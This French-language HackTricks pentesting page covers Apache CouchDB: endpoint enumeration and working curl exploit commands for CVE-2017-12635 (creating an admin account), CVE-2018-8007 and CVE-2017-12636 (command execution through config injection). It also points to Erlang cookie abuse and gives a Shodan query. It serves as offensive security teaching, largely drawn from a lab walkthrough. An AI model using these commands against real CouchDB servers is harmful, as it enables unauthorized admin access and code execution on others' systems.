5984,6984 - Pentesting CouchDB

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Informations de base

CouchDB est une base de données orientée documents polyvalente et puissante qui organise les données en utilisant une structure de carte clé-valeur dans chaque document. Les champs dans le document peuvent être représentés sous forme de paires clé/valeur, listes ou cartes, offrant une flexibilité dans le stockage et la récupération des données.

Chaque document stocké dans CouchDB se voit attribuer un identifiant unique (_id) au niveau du document. De plus, chaque modification apportée et enregistrée dans la base de données se voit attribuer un numéro de révision (_rev). Ce numéro de révision permet un suivi efficace et une gestion des changements, facilitant la récupération et la synchronisation des données au sein de la base de données.

Port par défaut : 5984 (http), 6984 (https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Énumération Automatique

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

Énumération manuelle

Bannière

curl http://IP:5984/

Cela envoie une requête GET à l'instance CouchDB installée. La réponse devrait ressembler à l'un des éléments suivants :

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

Notez que si vous accédez à la racine de couchdb, vous recevrez une 401 Unauthorized avec quelque chose comme ceci : {"error":"unauthorized","reason":"Authentication required."} vous ne pourrez pas accéder à la bannière ou à tout autre point de terminaison.

Énumération des informations

Ce sont les points de terminaison auxquels vous pouvez accéder avec une requête GET et extraire des informations intéressantes. Vous pouvez trouver plus de points de terminaison et des descriptions plus détaillées dans la documentation de couchdb.

  • /_active_tasks Liste des tâches en cours, y compris le type de tâche, le nom, l'état et l'ID du processus.

  • /_all_dbs Renvoie une liste de toutes les bases de données de l'instance CouchDB.

  • /_cluster_setup Renvoie l'état du nœud ou du cluster, selon l'assistant de configuration du cluster.

  • /_db_updates Renvoie une liste de tous les événements de base de données dans l'instance CouchDB. L'existence de la base de données _global_changes est requise pour utiliser ce point de terminaison.

  • /_membership Affiche les nœuds faisant partie du cluster en tant que cluster_nodes. Le champ all_nodes affiche tous les nœuds connus de ce nœud, y compris ceux faisant partie du cluster.

  • /_scheduler/jobs Liste des tâches de réplication. Chaque description de tâche inclura des informations sur la source et la cible, l'ID de réplication, un historique des événements récents, et quelques autres éléments.

  • /_scheduler/docs Liste des états de document de réplication. Comprend des informations sur tous les documents, même dans les états completed et failed. Pour chaque document, il renvoie l'ID du document, la base de données, l'ID de réplication, la source et la cible, et d'autres informations.

  • /_scheduler/docs/{replicator_db}

  • /_scheduler/docs/{replicator_db}/{docid}

  • /_node/{node-name} Le point de terminaison /_node/{node-name} peut être utilisé pour confirmer le nom du nœud Erlang du serveur qui traite la requête. Cela est particulièrement utile lors de l'accès à /_node/_local pour récupérer ces informations.

  • /_node/{node-name}/_stats La ressource _stats renvoie un objet JSON contenant les statistiques du serveur en cours d'exécution. La chaîne littérale _local sert d'alias pour le nom du nœud local, donc pour toutes les URL de statistiques, {node-name} peut être remplacé par _local, pour interagir avec les statistiques du nœud local.

  • /_node/{node-name}/_system La ressource _system renvoie un objet JSON contenant diverses statistiques au niveau du système pour le serveur en cours d'exécution. Vous pouvez utiliser ___local comme {node-name} pour obtenir les informations actuelles sur le nœud.

  • /_node/{node-name}/_restart

  • /_up Confirme que le serveur est en ligne, en cours d'exécution et prêt à répondre aux demandes. Si maintenance_mode est true ou nolb, le point de terminaison renverra une réponse 404.

  • /_uuids Demande un ou plusieurs Identifiants Universellement Uniques (UUID) de l'instance CouchDB.

  • /_reshard Renvoie un compte des tâches terminées, échouées, en cours, arrêtées et totales ainsi que l'état du resharding sur le cluster.

D'autres informations intéressantes peuvent être extraites comme expliqué ici : https://lzone.de/cheat-sheet/CouchDB

Liste des bases de données

curl -X GET http://IP:5984/_all_dbs

Si cette demande répond avec un 401 non autorisé, alors vous avez besoin de valides identifiants pour accéder à la base de données:

curl -X GET http://user:password@IP:5984/_all_dbs

Pour trouver des identifiants valides, vous pourriez essayer de forcer le service.

Ceci est un exemple de réponse couchdb lorsque vous avez suffisamment de privilèges pour lister les bases de données (C'est juste une liste de bases de données) :

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Informations sur la base de données

Vous pouvez obtenir certaines informations sur la base de données (comme le nombre de fichiers et leurs tailles) en accédant au nom de la base de données :

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Liste des documents

Listez chaque entrée à l'intérieur d'une base de données

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Lire le document

Lire le contenu d'un document à l'intérieur d'une base de données :

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

Élévation de privilèges CouchDB CVE-2017-12635

Grâce aux différences entre les analyseurs JSON Erlang et JavaScript, vous pourriez créer un utilisateur administrateur avec les identifiants hacktricks:hacktricks avec la requête suivante:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Plus d'informations sur cette vulnérabilité ici.

RCE de CouchDB

Exemple ici.

Dans la documentation de CouchDB, spécifiquement dans la section concernant la configuration en cluster (lien), l'utilisation des ports par CouchDB en mode cluster est discutée. Il est mentionné que, comme en mode autonome, le port 5984 est utilisé. De plus, le port 5986 est réservé aux API locales de nœuds, et surtout, Erlang nécessite le port TCP 4369 pour le démon de mappage de port Erlang (EPMD), facilitant la communication entre les nœuds au sein d'un cluster Erlang. Cette configuration forme un réseau où chaque nœud est interconnecté avec tous les autres nœuds.

Un avis de sécurité crucial est mis en avant concernant le port 4369. Si ce port est rendu accessible via Internet ou tout réseau non fiable, la sécurité du système repose fortement sur un identifiant unique connu sous le nom de "cookie". Ce cookie agit comme une sauvegarde. Par exemple, dans une liste de processus donnée, le cookie nommé "monster" pourrait être observé, indiquant son rôle opérationnel dans le cadre de sécurité du système.

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Pour ceux qui souhaitent comprendre comment ce "cookie" peut être exploité pour l'exécution de code à distance (RCE) dans le contexte des systèmes Erlang, une section dédiée est disponible pour une lecture approfondie. Il détaille les méthodologies pour exploiter les cookies Erlang de manière non autorisée afin de prendre le contrôle des systèmes. Vous pouvez explorer le guide détaillé sur l'abus des cookies Erlang pour RCE ici.

Exploitation de la CVE-2018-8007 par modification de local.ini

Exemple ici.

Une vulnérabilité récemment divulguée, CVE-2018-8007, affectant Apache CouchDB a été explorée, révélant que l'exploitation nécessite des autorisations d'écriture sur le fichier local.ini. Bien que cela ne s'applique pas directement au système cible initial en raison de restrictions de sécurité, des modifications ont été apportées pour accorder l'accès en écriture au fichier local.ini à des fins d'exploration. Les étapes détaillées et des exemples de code sont fournis ci-dessous, démontrant le processus.

Tout d'abord, l'environnement est préparé en s'assurant que le fichier local.ini est inscriptible, vérifié en listant les autorisations :

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Pour exploiter la vulnérabilité, une commande curl est exécutée, ciblant la configuration cors/origins dans local.ini. Cela injecte une nouvelle origine ainsi que des commandes supplémentaires sous la section [os_daemons], dans le but d'exécuter du code arbitraire :

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

La vérification ultérieure montre la configuration injectée dans local.ini, la contrastant avec une sauvegarde pour mettre en évidence les changements :

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

Initialement, le fichier attendu (/tmp/0xdf) n'existe pas, ce qui indique que la commande injectée n'a pas encore été exécutée. Une enquête plus approfondie révèle que des processus liés à CouchDB sont en cours d'exécution, y compris un qui pourrait potentiellement exécuter la commande injectée :

root@canape:/home/homer/bin# ps aux | grep couch

En mettant fin au processus CouchDB identifié et en permettant au système de le redémarrer automatiquement, l'exécution de la commande injectée est déclenchée, confirmée par l'existence du fichier précédemment manquant :

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

Cette exploration confirme la viabilité de l'exploitation de CVE-2018-8007 dans des conditions spécifiques, notamment l'exigence d'un accès en écriture au fichier local.ini. Les exemples de code fournis et les étapes procédurales offrent un guide clair pour reproduire l'exploit dans un environnement contrôlé.

Pour plus de détails sur CVE-2018-8007, consultez l'avis de mdsec: CVE-2018-8007.

Exploration de CVE-2017-12636 avec des autorisations d'écriture sur local.ini

Exemple ici.

Une vulnérabilité connue sous le nom de CVE-2017-12636 a été explorée, permettant l'exécution de code via le processus CouchDB, bien que des configurations spécifiques puissent empêcher son exploitation. Malgré de nombreuses références de Preuve de Concept (POC) disponibles en ligne, des ajustements sont nécessaires pour exploiter la vulnérabilité sur la version 2 de CouchDB, différente de la version 1.x généralement ciblée. Les premières étapes consistent à vérifier la version de CouchDB et à confirmer l'absence du chemin attendu des serveurs de requêtes:

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

Pour accommoder la version 2.0 de CouchDB, un nouveau chemin est utilisé :

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

Les tentatives d'ajout et d'invocation d'un nouveau serveur de requêtes ont été rencontrées avec des erreurs liées aux permissions, comme indiqué par la sortie suivante :

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

De plus amples investigations ont révélé des problèmes de permission avec le fichier local.ini, qui n'était pas inscriptible. En modifiant les permissions du fichier avec un accès root ou homer, il est devenu possible de continuer :

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

Les tentatives ultérieures d'ajouter le serveur de requêtes ont réussi, comme le montre l'absence de messages d'erreur dans la réponse. La modification réussie du fichier local.ini a été confirmée par comparaison de fichiers :

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Le processus a continué avec la création d'une base de données et d'un document, suivi d'une tentative d'exécution de code via une vue personnalisée mappée sur le serveur de requêtes nouvellement ajouté :

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

Un résumé avec une charge utile alternative fournit de plus amples informations sur l'exploitation de CVE-2017-12636 dans des conditions spécifiques. Les ressources utiles pour exploiter cette vulnérabilité comprennent :

Shodan

  • port:5984 couchdb

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Dernière mise à jour